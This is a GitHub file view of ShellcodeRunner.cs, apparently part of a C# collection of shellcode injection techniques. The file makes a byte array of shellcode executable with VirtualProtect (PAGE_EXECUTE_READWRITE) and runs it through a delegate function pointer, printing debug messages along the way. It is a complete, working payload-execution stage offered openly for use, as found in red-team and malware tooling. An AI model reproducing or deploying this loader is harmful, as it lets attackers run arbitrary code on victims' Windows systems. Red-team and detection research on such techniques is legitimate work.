- Notifications
You must be signed in to change notification settings - Fork 92
Expand file tree
/
Copy pathShellcodeRunner.cs
More file actions
Latest commit
33 lines (29 loc) · 1.33 KB
/
Copy pathShellcodeRunner.cs
File metadata and controls
33 lines (29 loc) · 1.33 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
usingSystem;
usingSystem.Runtime.InteropServices;
usingSystem.Diagnostics;
usingstaticShellcodeInjectionTechniques.Debugger;
usingstaticShellcodeInjectionTechniques.Native;
namespaceShellcodeInjectionTechniques
{
classShellcodeRunner:ITechnique
{
privatedelegatevoidShellcodeDelegate();
publicvoidRun(Processtarget,byte[]shellcode)
{
unsafe
{
fixed (byte*ptr=shellcode)
{
// set the memory where the shellcode is to PAGE_EXECUTE_READWRITE
IntPtrmemoryAddress=(IntPtr)ptr;
VirtualProtect(memoryAddress,(UIntPtr)shellcode.Length,MemoryProtection.PAGE_EXECUTE_READWRITE,outMemoryProtectionlpfOldProtect);
Debug("[+] VirtualProtect() - set to PAGE_EXECUTE_READWRITE, shellcode address: 0x{0}",newstring[]{memoryAddress.ToString("X")});
// execute the shellcode using a delegate function
Debug("[+] Executing shellcode - memory address: 0x{0}",newstring[]{memoryAddress.ToString("X")});
ShellcodeDelegatefunc=(ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress,typeof(ShellcodeDelegate));
func();
}
}
}
}
}